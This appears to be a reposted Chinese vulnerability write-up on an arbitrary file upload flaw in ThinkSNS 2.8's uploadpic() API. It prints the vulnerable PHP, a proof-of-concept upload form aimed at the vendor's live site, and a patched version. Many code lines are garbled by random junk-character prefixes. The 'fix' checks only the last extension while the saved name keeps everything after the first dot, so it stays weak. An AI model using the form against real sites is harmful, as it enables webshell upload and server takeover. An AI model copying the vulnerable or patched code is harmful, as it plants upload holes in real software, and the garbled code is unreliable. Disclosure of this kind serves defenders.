ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。


# v6 _* j1 y4 l, Z1 T0 }9 Q\api\StatusesApi.class.php

function uploadpic(){
      if( $_FILES['pic'] ){
     //执行上传操作
! O3 J2 e* V7 C) q$ n. H6 ]     $savePath =  $this->_getSaveTempPath();
% R" b$ n# j1 I- M4 `7 k, ~' S     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
, Q  V3 T! ]1 d       {
$ A- ?" \- d* Q  X2 m        $result['boolen']    = 1;
6 ^$ s- C% I3 I        $result['type_data'] = 'temp/'.$filename;
3 b& [5 C2 z, K$ O        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
$ h5 X" n+ K) L6 H% O! {! w" p# M        $result['boolen']    = 0;
4 M2 r1 w( `- @. R5 `, c        $result['message']   = '上传失败';
& n4 {4 o1 n0 x. S  H4 j3 T       }
% d$ e+ t  n* _0 D) e/ O     }else{
( x& k$ n1 }. C         $result['boolen']    = 0;
3 g; T, ]  i4 K% O6 f         $result['message']   = '上传失败';
     }
return $result;
9 P, i& x% D( ^$ F    }
7 n: y5 k* y/ h4 p7 Aunloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost

在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
0 V! A6 a) F0 h' }
$ q( J) ?" w) Y) c7 C7 s) u0 T" {
在登录thinksns官方微博后,
8 z7 a1 S. }* r! {; T9 X' `2 K构建以下表单:
  |* E+ J( p6 L4 J/ s
1 z& K, w5 I  w7 @<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
</form>
2 i. c. s4 n$ Z6 }8 u去掉缩略图的前缀(small_ )
! R( I+ m' c" n​修复方案：
% R, ]3 \, L( D
$ @7 g9 e4 m5 J) Y  I5 T2 _1 `
! a# ~5 |$ W$ }( Y7 Y3 H\api\StatusesApi.class.php

6 m: P: U- l" c! k  z% @function uploadpic(){
     /**
4 I' V; b( l, d; Z  P- u0 h      * 20121018 @yelo
      * 增加上传类型验证
$ j2 v0 y* _) m7 L# O' ~      */
6 T; _& Y' s& W: p     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');

* a/ p% ]9 a5 R) p% u& q( ]     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
' ]6 |2 ~& \( s7 l5 V* f5 Z
! S4 N! t  ?+ o& k% X+ j     if( $uploadCondition ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
- K* O" ?5 i& ~) W2 J! P8 T1 d; `     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
3 t7 x4 w( s6 d" w8 ?9 e       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
  z: A4 U- a5 W/ x, ~' B* l     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
# ]( g( J; p+ e9 {+ a  g3 y2 u# L4 H# J+ U     }
5 w+ }# h4 {. u0 w* kreturn $result;
    }
​

& K1 D( m2 U7 i# {, s